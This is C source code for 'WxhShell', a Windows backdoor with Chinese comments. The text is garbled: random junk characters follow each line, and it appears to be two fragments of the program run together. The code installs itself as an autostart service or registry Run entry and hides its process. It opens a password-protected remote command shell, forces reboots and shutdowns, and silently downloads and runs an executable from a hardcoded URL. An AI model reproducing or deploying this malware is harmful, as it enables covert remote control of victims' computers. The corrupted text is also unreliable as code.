    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Vo%}g?6!  
    else { ul{D)zm\D  
    closesocket(wsh); &],O\TAul  
    ExitThread(0); Jow{7@FG  
    } rrSFmhQUk  
    break; ^[VEr"X  
    } t9r R>Y9  
  // 关机 r2\ }_pIj  
  case 'd': { Z~K} @  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w>4( hGO  
    if(Boot(SHUTDOWN)) ^ f[^.k$3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y/>Nx7C0=2  
    else { BKK@_B"  
    closesocket(wsh); n5Mhp:zc,  
    ExitThread(0); EX@Cf!GjN  
    } |fY#2\)Yx  
    break; P6)d#M  
    } oQR?H  
  // 获取shell $S^rKp#  
  case 's': { LhSXz>AX  
    CmdShell(wsh); c~= {A  
    closesocket(wsh); D7Y?$=0ycb  
    ExitThread(0); 69 J4p=c,  
    break; I:WPP'L4o  
  } ;?Q0mXr  
  // 退出 f\z9?Z(~  
  case 'x': { F(`Q62o@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 65GC7 >[  
    CloseIt(wsh); G+t zp&G@  
    break; SduUXHk  
    } f\;f&GI  
  // 离开 OI:T#uk5  
  case 'q': { On}b|ev  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 93/`e}P"o  
    closesocket(wsh); o\qeX|.70  
    WSACleanup(); 0R;`)V\^  
    exit(1); ;x&3tN/I  
    break; jX,A.  
        } c^R "g)gr  
  } <9x|)2P  
  } F.D6O[pZ  
}OSfC~5P  
  // 提示信息 G+WCE*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N6v*X+4JH  
} y2PxC. -  
  } &zPM# Q  
)>]SJQ!k  
  return; @h5Q?I  
} m|[cEZxHB  
}mS Q!"f:  
// shell模块句柄 ltHuN;C\  
int CmdShell(SOCKET sock) n.A*(@noe  
{ u@aM8Na  
STARTUPINFO si; .:/X~{  
ZeroMemory(&si,sizeof(si)); ~]BR(n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )+.AgqxI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #+^l3h MK  
PROCESS_INFORMATION ProcessInfo; )5TX3#=;(G  
char cmdline[]="cmd"; (A;HB@)[A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eTt{wn;6  
  return 0; 5;[0Q  
} Xm6M s<z6  
17 VNw/Y  
// 自身启动模式 0.#% KfQ  
int StartFromService(void) z u1gP/  
{ !9^GkFR6n  
typedef struct +EZr@  
{ K,*IfHi6[  
  DWORD ExitStatus; k,y#|bf,Y  
  DWORD PebBaseAddress; ">s0B5F7  
  DWORD AffinityMask; kEg~yN  
  DWORD BasePriority; ?hW(5]p|  
  ULONG UniqueProcessId; '=IuwCB|;  
  ULONG InheritedFromUniqueProcessId; ]xhH:kW4  
}   PROCESS_BASIC_INFORMATION; :$QwOz^N*  
"H{#ib_c_  
PROCNTQSIP NtQueryInformationProcess; `~@}f"c`u  
R xWD>:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bL5dCQxty  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S1!_ IK$m  
%;`3I$  
  HANDLE             hProcess; ,-> P+m5  
  PROCESS_BASIC_INFORMATION pbi; &HJ~\6r\  
JM*rPzp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *JaFt@ x  
  if(NULL == hInst ) return 0; C,u;l~zz  
.|K\1qGW0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E eCgV{9B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @T-}\AU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [oH,FSuO!2  
z<BwV /fH}  
  if (!NtQueryInformationProcess) return 0; cH7D@p}  
 ^9kdd[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t*Wxvoxk  
  if(!hProcess) return 0; b$FXRR\G  
F,XJGD*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9a.[>4}  
td+[Na0d  
  CloseHandle(hProcess); Rh7=,=u  
t aOsC! Bp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,I[A~  
if(hProcess==NULL) return 0; &l~=c2  
=`%%*  
HMODULE hMod; {XYf"ONi  
char procName[255]; zdDJcdbGd1  
unsigned long cbNeeded; !?)iP  
W/;qMP1"-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5TdI  
W&^2Fb  
  CloseHandle(hProcess); M~!LjJg;  
to 3i!b  
if(strstr(procName,"services")) return 1; // 以服务启动 yM34GS=,J  
1'* {Vm M  
  return 0; // 注册表启动 Xgm9>/y  
} Q_a%$a.rV  
Y'%_--  
// 主模块 ^F1zkIE  
int StartWxhshell(LPSTR lpCmdLine) mH3{<^Z6  
{ >JhIRf  
  SOCKET wsl; dkbKnY&  
BOOL val=TRUE; F[OBPPQ3  
  int port=0; i@d@~M7/  
  struct sockaddr_in door; hO:X\:G  
e3>k"  
  if(wscfg.ws_autoins) Install(); YuDNm}r[  
ts0K"xmY\c  
port=atoi(lpCmdLine); RbNRBK!{  
d_Vwjv&@/"  
if(port<=0) port=wscfg.ws_port; ,K[B/tD{j  
}~5xlg$B<<  
  WSADATA data; K#{E87G(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3'2}F%!Mv  
oAp I/o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l@YpgyqaL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #$%gs]  
  door.sin_family = AF_INET; 9/|i. 2&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #Ryu`b  
  door.sin_port = htons(port); -/&6}lD  
VVje|T^{Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }fs;yPl,  
closesocket(wsl); )+9D$m=P;  
return 1; _V|'iz9.  
} E]Hl&t/}  
zR3Z(^]v  
  if(listen(wsl,2) == INVALID_SOCKET) { _mL9G5~r  
closesocket(wsl); PX'I:B]x*  
return 1; (jYs_8;  
} ^ihXM]1{G  
  Wxhshell(wsl); 9tC8|~Q  
  WSACleanup(); UwQ3q  
Vt4}!b(O  
return 0; 3B "rI  
n*6',BY  
} _?_Svx2  
<FK7Rz:4T  
// 以NT服务方式启动 0+:.9*g=k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @]#+`pZ4A  
{ ~K],hi^<P  
DWORD   status = 0; 9e :E% 2  
  DWORD   specificError = 0xfffffff; Bv@m)$9\+3  
y$V{yh[:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NI s4v(!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I}v'n{5(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0I?3@Nz6  
  serviceStatus.dwWin32ExitCode     = 0; 7RD` *s  
  serviceStatus.dwServiceSpecificExitCode = 0; PvT8XSlTx!  
  serviceStatus.dwCheckPoint       = 0; D&9j$#9Rh  
  serviceStatus.dwWaitHint       = 0; *Ucyxpu~$  
::T<de7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6l vx  
  if (hServiceStatusHandle==0) return; @7^#_772  
16G v? I h  
status = GetLastError(); qryt1~Dq  
  if (status!=NO_ERROR) 3Ob"r`  
{ -;`W"&`ss  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Q:K$!  
    serviceStatus.dwCheckPoint       = 0; nLfnikw&  
    serviceStatus.dwWaitHint       = 0; *E)Y?9u"  
    serviceStatus.dwWin32ExitCode     = status; F<(x z=  
    serviceStatus.dwServiceSpecificExitCode = specificError; F5<{-{Ky  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\.sS|$  
    return; f|^f^Hu:{  
  } }Rux<=cd|  
t2Y~MyT/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i)(Q Npv  
  serviceStatus.dwCheckPoint       = 0; Ju9v n44  
  serviceStatus.dwWaitHint       = 0; ^:)&KV8D|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wbS++cF<  
} 610k#$  
^&rb I,D  
// 处理NT服务事件,比如:启动、停止 z:G9Uu3H(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0\~Zg  
{ =W|Q0|U  
switch(fdwControl) : }IS=A  
{ sTqB%$K}  
case SERVICE_CONTROL_STOP: d<3"$%C  
  serviceStatus.dwWin32ExitCode = 0; z"O-d<U5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e#OU {2X  
  serviceStatus.dwCheckPoint   = 0; [1UqMkXtf  
  serviceStatus.dwWaitHint     = 0; 6kuSkd$.  
  { $WPN.,7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XbOL/6V ^[  
  } Mk9 kGP%  
  return; x/S%NySG  
case SERVICE_CONTROL_PAUSE: tQ}gBE63  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z*[Z:  
  break; j{Fo 6##  
case SERVICE_CONTROL_CONTINUE: 5Q}@Y3 i=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LGMFv  
  break; fIcv}Y  
case SERVICE_CONTROL_INTERROGATE: E0pQRGPA  
  break; 5y'Yosy:  
}; -oo=IUk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o_N02l4J)  
} Ji[w; [qL  
g:clSN,  
// 标准应用程序主函数 '~cEdGD9H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gPi_+-@  
{ }Tef;8d  
Mvh_>-i  
// 获取操作系统版本 #"M Pe4  
OsIsNt=GetOsVer(); *j* WE\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fytx({I .a  
e](=)h|  
  // 从命令行安装 ,{50zx2  
  if(strpbrk(lpCmdLine,"iI")) Install(); <XagkD  
m&%b;%,J  
  // 下载执行文件 >dl!Ep  
if(wscfg.ws_downexe) { bcs!4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~z}au"k  
  WinExec(wscfg.ws_filenam,SW_HIDE); i=a LC*@  
} @6!JW(,]\  
`+o.w#cl  
if(!OsIsNt) { YC_^jRB8n  
// 如果时win9x,隐藏进程并且设置为注册表启动 FTfA\/tl(;  
HideProc(); / fq6-;co+  
StartWxhshell(lpCmdLine); PS22$_}   
} ("oA{:@d  
else 0R]CI  
  if(StartFromService()) bsr y([N>w  
  // 以服务方式启动 XL3h ; $,  
  StartServiceCtrlDispatcher(DispatchTable); h,+=h;!  
else z>:7}=H0  
  // 普通方式启动 <X |h *  
  StartWxhshell(lpCmdLine); t_rDXhM  
[s2V-'2  
return 0;  c$|dK  
} 9-^p23.@[j  
ftPw6  
QA(,K}z~^S  
^IpiNY/%Q  
=========================================== w0!,1 Ry  
S\ZAcz4  
NLl~/smMS  
(r4VIlap  
t>2^!vl  
| dwxea  
" VWv0\:,G  
? ^CGJ1  
#include <stdio.h> 72zuI4&  
#include <string.h> A%1=6  
#include <windows.h> MGz F+ln^U  
#include <winsock2.h> V2,WP  
#include <winsvc.h> n y)P  
#include <urlmon.h> YMTA`T(+  
^^SfIK?p  
#pragma comment (lib, "Ws2_32.lib") 7nz+n#  
#pragma comment (lib, "urlmon.lib") B,833Azi  
Zg&\K~OC  
#define MAX_USER   100 // 最大客户端连接数 d 6EY'*0  
#define BUF_SOCK   200 // sock buffer Dj+Osh  
#define KEY_BUFF   255 // 输入 buffer &>l8SlC?  
)<F\IM  
#define REBOOT     0   // 重启 }Xi#x*-D  
#define SHUTDOWN   1   // 关机 7y Te]O  
Xh"iP%  
#define DEF_PORT   5000 // 监听端口 n;-r W;ZO  
_%vqBr*  
#define REG_LEN     16   // 注册表键长度 +[ /r^C  
#define SVC_LEN     80   // NT服务名长度 NCFV  
>}{-!  
// 从dll定义API Q; /F0JDH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ch9!AUiR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +~ Ay h[V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E$Pjp oQTf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AsLjU#jn  
M%s$F@  
// wxhshell配置信息 5I1J)K;  
struct WSCFG { \{zAX~k6  
  int ws_port;         // 监听端口 bV*zMoD#  
  char ws_passstr[REG_LEN]; // 口令 A9Wqz"[  
  int ws_autoins;       // 安装标记, 1=yes 0=no vfUfrk@D~  
  char ws_regname[REG_LEN]; // 注册表键名 Gc!8v}[7J  
  char ws_svcname[REG_LEN]; // 服务名 U/!&KsnT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _|B&v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m`IQ+, e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gQ[^gPWP"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IW o~s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BemkCj2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "%Ana=cc  
Cw&D}  
}; G5#}Ed4  
)?&kQ^@v  
// default Wxhshell configuration Y;F R"~^  
struct WSCFG wscfg={DEF_PORT, ?s)sPM?  
    "xuhuanlingzhe", ,Kf8T9z`  
    1, 7b,,%rUd  
    "Wxhshell", 6//FZ:q  
    "Wxhshell", 7E3SvC|M  
            "WxhShell Service", qf`xH"$  
    "Wrsky Windows CmdShell Service", `u\z!x'  
    "Please Input Your Password: ", 9m !!b{  
  1, QlYs7zZ  
  "http://www.wrsky.com/wxhshell.exe", SWjQ.aM  
  "Wxhshell.exe" $7&l6~sMQ  
    }; 5f'g 3'  
|8c:+8  
// 消息定义模块 prEu9$:t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8J3@VD.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O+p-1 C$\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tNuCxb-  
char *msg_ws_ext="\n\rExit."; j'Y"/<  
char *msg_ws_end="\n\rQuit."; 04PoBv~g  
char *msg_ws_boot="\n\rReboot..."; )6:]o&bZ  
char *msg_ws_poff="\n\rShutdown..."; Lv5X 'yM  
char *msg_ws_down="\n\rSave to "; aZjef  
2\63&C^  
char *msg_ws_err="\n\rErr!"; 3zTE4pHzu+  
char *msg_ws_ok="\n\rOK!"; fj-pNl6Gf  
2"+x(Ax  
char ExeFile[MAX_PATH]; ,0uo&/Y4L  
int nUser = 0; [AX"ne# M*  
HANDLE handles[MAX_USER]; [TK? P0  
int OsIsNt; /witDu7  
I\rZk9F  
SERVICE_STATUS       serviceStatus; ::OFW@dS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *V6QB e  
Sm$j:xw <  
// 函数声明 MkW1FjdP  
int Install(void); ,+/9K)X  
int Uninstall(void); 4l ZJb  
int DownloadFile(char *sURL, SOCKET wsh); HKiVEg  
int Boot(int flag); H*{k4  
void HideProc(void); r=DHt&x=  
int GetOsVer(void); `e?;vA&  
int Wxhshell(SOCKET wsl); G?1x+H;o5  
void TalkWithClient(void *cs); S -6"f /  
int CmdShell(SOCKET sock); ";_K x={  
int StartFromService(void); PG6L]o^  
int StartWxhshell(LPSTR lpCmdLine); 7mn,{2  
#5-A&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L)/6kt=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P 0Efh?oZ  
Y$x"4=~  
// 数据结构和表定义 R] Disljq  
SERVICE_TABLE_ENTRY DispatchTable[] = "VDk1YX_&l  
{ G&@-R{i  
{wscfg.ws_svcname, NTServiceMain}, I[=Wmxa?r  
{NULL, NULL} X"k^89y$  
}; 'G l;Ir^  
0Q$~k  
// 自我安装 'je8k7`VA  
int Install(void) ] ^; b  
{ B9LSxB  
  char svExeFile[MAX_PATH]; R2N^'  
  HKEY key; 13.{Y)  
  strcpy(svExeFile,ExeFile); jy!f{dsC  
Eg`R|CF  
// 如果是win9x系统,修改注册表设为自启动 }$|%/Y  
if(!OsIsNt) { 3q#"i&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z[qdmx^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?-8y4 Ex  
  RegCloseKey(key); "J P{Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >HcYVp~G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TwM1M["3  
  RegCloseKey(key); +MNSZLP]  
  return 0; P?q G  
    } V;iL[  
  } JlC<MQ?  
} .'5'0lR5  
else { 8Wdkztp/S  
Ii~; d3.  
// 如果是NT以上系统,安装为系统服务 0{0;1.ZP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PyC;f8n'(  
if (schSCManager!=0) ;48P vw>g}  
{ @[d#mz  
  SC_HANDLE schService = CreateService N 8:"&WM  
  ( _x\-!&[p  
  schSCManager, \|eJJC  
  wscfg.ws_svcname, pXPqDA  
  wscfg.ws_svcdisp, s?^,iQ+tp  
  SERVICE_ALL_ACCESS, S}.\v<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 &*P}U}Uc  
  SERVICE_AUTO_START, m x3}m?WQ  
  SERVICE_ERROR_NORMAL, [as-3&5S  
  svExeFile, oMh~5 W  
  NULL, 0\5M^:8i3  
  NULL, g|ql 5jW  
  NULL, M8 iEVJ  
  NULL, >.J'L5 x$  
  NULL W[R]^2QAG  
  ); $zC6(C(l  
  if (schService!=0) cs K>iN  
  { =cdh'"XN  
  CloseServiceHandle(schService); %<aImR]  
  CloseServiceHandle(schSCManager); x1N me%%&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v[R_S  
  strcat(svExeFile,wscfg.ws_svcname); $Hp.{jw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5 R,la\!bQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h`?y2?O  
  RegCloseKey(key); Hs[}l_gYn  
  return 0; M0O>Ljo4RN  
    } R(:  4s  
  } T$ H2'tK|  
  CloseServiceHandle(schSCManager); rGTWcJ   
} 3AvVU]@&Z@  
} PqT"jOF]n  
0fnZR$PB  
return 1; }  c{Fa&  
} =a?a@+  
':,>eL#+uV  
// 自我卸载 5Xwk*@t2a  
int Uninstall(void) 3%XG@OgP  
{ ^pJ0nY# c  
  HKEY key; {B@*DQv  
 LsQs:O  
if(!OsIsNt) { $!a?i@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >W8bWQ^fK  
  RegDeleteValue(key,wscfg.ws_regname); davvI$TA  
  RegCloseKey(key); @ (i*-u3Tq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dp!;7e s|  
  RegDeleteValue(key,wscfg.ws_regname); yrO?Np  
  RegCloseKey(key); Jf_]Z  
  return 0; c`-YIz)W  
  } pAEN XC\,  
} mH'\:oN  
} =f o4x|{O  
else { f 4R1$(<  
/ca(a\@R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9U]pH%.9  
if (schSCManager!=0) NeY"6!;k  
{ ;)gLjF/F7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5+`=t07^et  
  if (schService!=0) }W1^t  
  { /M 0 p_4  
  if(DeleteService(schService)!=0) { u/ }xE7G  
  CloseServiceHandle(schService); iNt 4>  
  CloseServiceHandle(schSCManager); ^Ss<X}es-  
  return 0; !@( M_Z'  
  } 77``8,  
  CloseServiceHandle(schService); 6!Qknk$  
  } YQ52~M0L  
  CloseServiceHandle(schSCManager); o1U}/y+R\  
} w .tW=z5  
} > 9o{(j  
j?( c}!}  
return 1;  ?J<T  
} :H{Bb{B%  
i9KTX%s5^  
// 从指定url下载文件 Ga.0Io&}C  
int DownloadFile(char *sURL, SOCKET wsh) T\jAk+$Jo  
{ mIRAS"Q!m  
  HRESULT hr; C}9Kx }q  
char seps[]= "/"; .U<F6I:<md  
char *token; C]/&vh7ta  
char *file; FK6K6wU52m  
char myURL[MAX_PATH]; rmoJ =.'  
char myFILE[MAX_PATH]; : aH%bk  
$1~c_<DN  
strcpy(myURL,sURL); uw_H:-J  
  token=strtok(myURL,seps); =w6}\ 'X  
  while(token!=NULL) 4X*Q6rW  
  { Uh*@BmDA  
    file=token; {f-XyF1`  
  token=strtok(NULL,seps); )PwQ^||{  
  } +uELTHH=  
/0 _zXQyV  
GetCurrentDirectory(MAX_PATH,myFILE); (oF-O{  
strcat(myFILE, "\\"); oQ{cSThj  
strcat(myFILE, file); o'96ON0  
  send(wsh,myFILE,strlen(myFILE),0); b9y)wBC%`  
send(wsh,"...",3,0); G,B?&gFX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r4EoJyt  
  if(hr==S_OK) ~zMDY F"&  
return 0; |<1M&\oaQ'  
else BO"qD[S  
return 1; nz[ m3]  
zMr&1*CDX  
} [NL -!  
$5x]%1 R  
// 系统电源模块 g#}tm<  
int Boot(int flag) 9Yn)t#G'`F  
{ y=#j`MH{>  
  HANDLE hToken; o~;M"  
  TOKEN_PRIVILEGES tkp; @*SA$9/l  
2Q}7fht  
  if(OsIsNt) { z#RuwB+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2qlIy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); { a. <`  
    tkp.PrivilegeCount = 1; ,aWCiu}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T ~h.=5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t?HF-zQ  
if(flag==REBOOT) { #v+;:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FJ}gUs{m  
  return 0; -qfnUh  
} $,@JYLC2  
else { y`6\L$c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gp8psH  
  return 0; fQO ""qh  
} e:BDQU  
  } Sj@15 W  
  else { I )5<DZB9  
if(flag==REBOOT) { #hy+ L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {l@WCR  
  return 0; .'&V#D0  
} "Vx6 #u@}  
else { 6`Lcs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >O3IfS(l  
  return 0; V,vc_d?,_o  
} Bh,Q8%\6  
} vbaC+AiX  
oBC]UL;8xJ  
return 1; s*.3ZS5  
} aDh|48}X  
i&*<lff  
// win9x进程隐藏模块 50 *@.!^*  
void HideProc(void) 2 eHx"Ha  
{ D?mDG|Z  
_Z$?^gn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m@[3~ 6A  
  if ( hKernel != NULL ) /S[?{QA  
  { - zQ<Z E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A$:|Qd7F1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bOb Nc  
    FreeLibrary(hKernel); !?b/-~o7S  
  } ki#bPgT  
)'t&q/Wn  
return; 5D L,U(Y  
} 8gAu7\p}  
) P%4:P  
// 获取操作系统版本 MO TE/JG  
int GetOsVer(void) <%&_#<C)  
{ hX3@f;[B2  
  OSVERSIONINFO winfo; Q vJZkGX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =|"= l1  
  GetVersionEx(&winfo); w&5/Zh[~~L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ntZ~m  
  return 1; "[.ne)/MC  
  else ,_bp)-OG  
  return 0; xh r[ A  
} }#bZ8tm&  
GMw)*  
// 客户端句柄模块 *Dc@CmBr  
int Wxhshell(SOCKET wsl) YD9!=a$  
{ X.eB ;w/}  
  SOCKET wsh; e5 3,Rqi)@  
  struct sockaddr_in client; TRy^hr8~  
  DWORD myID; Fpf><Rn  
?BsH{Q RYQ  
  while(nUser<MAX_USER) #j.FJFGX  
{ #R<G,"N5  
  int nSize=sizeof(client); R[Nbtbv9Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5*1#jiq  
  if(wsh==INVALID_SOCKET) return 1; 61>f(?s  
N iISJWk6'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `;/XK,m-  
if(handles[nUser]==0) w5(yCyNp~  
  closesocket(wsh); =x#&\ui  
else dm& /K 4c  
  nUser++; 3HKxYvc C  
  } *IqVY&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }^9paU  
I&\4C.\>  
  return 0; AK;^9b-}q:  
} y]^#$dK(z  
F|*tNJU>  
// 关闭 socket snq;:n!   
void CloseIt(SOCKET wsh) j%WY ,2P  
{ Ro~fvL~Ps  
closesocket(wsh); 10O3Z9  
nUser--; `)2[ST  
ExitThread(0); ])UwC-l  
} I*( 1.%:m  
H`gb}?9R  
// 客户端请求句柄  J `x}{K  
void TalkWithClient(void *cs) 3Y(9\}E@`  
{ ofK='G .  
hLo>R'@uN  
  SOCKET wsh=(SOCKET)cs; T]uKH29.%  
  char pwd[SVC_LEN]; `-u7 I  
  char cmd[KEY_BUFF]; :*cHA  
char chr[1]; ThiN9! Y  
int i,j; xU:4Y0y8  
`0z/BCNB  
  while (nUser < MAX_USER) { B.RRdK+:  
y;r"+bS8  
if(wscfg.ws_passstr) { #<]Iz'\`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wp`C:H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :cdQ(O.m  
  //ZeroMemory(pwd,KEY_BUFF); ~b#OFnyG  
      i=0; ZMJ3NN]F  
  while(i<SVC_LEN) { 4i`S+`#  
dk8y>uLr_  
  // 设置超时 DyIV/  
  fd_set FdRead; k,lqT>C  
  struct timeval TimeOut; #// %&k  
  FD_ZERO(&FdRead); q}s K  
  FD_SET(wsh,&FdRead); &rP~`4Mkp  
  TimeOut.tv_sec=8; @Kp1k> ov  
  TimeOut.tv_usec=0; =Sa~\k+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); | +fwvi&a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); phmVkV2a;#  
P#v^"}.Wd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "f<#.}8  
  pwd=chr[0]; =1IEpxh%  
  if(chr[0]==0xd || chr[0]==0xa) { ?yf_Dt  
  pwd=0; =E1tgrW  
  break; {KsVK4\r  
  } oSmjs  
  i++; <"A#Eok|4  
    } wx./"m.M  
#w;;D7{@m  
  // 如果是非法用户,关闭 socket Vf$1Sjw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oc:x&`j  
} $ hoYkA  
,6RQvw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !]G jIT]Oh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0JyqCb l  
l@#b;M/  
while(1) { K#@K"N =  
r_q~'r35_  
  ZeroMemory(cmd,KEY_BUFF); }H; ]k-)  
XHZLW h"gS  
      // 自动支持客户端 telnet标准   8;0 ^'Qr8  
  j=0; ~T7\8K+ $  
  while(j<KEY_BUFF) {  7BS/T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <\p&jk?  
  cmd[j]=chr[0]; ,[^o9u uB  
  if(chr[0]==0xa || chr[0]==0xd) { Xj(>.E{~H  
  cmd[j]=0; qhnapZJ  
  break; .01TTK*  
  } [?|5 oaK  
  j++; pj+tjF6Np  
    } 4L!e=>as"1  
[d\#[l_  
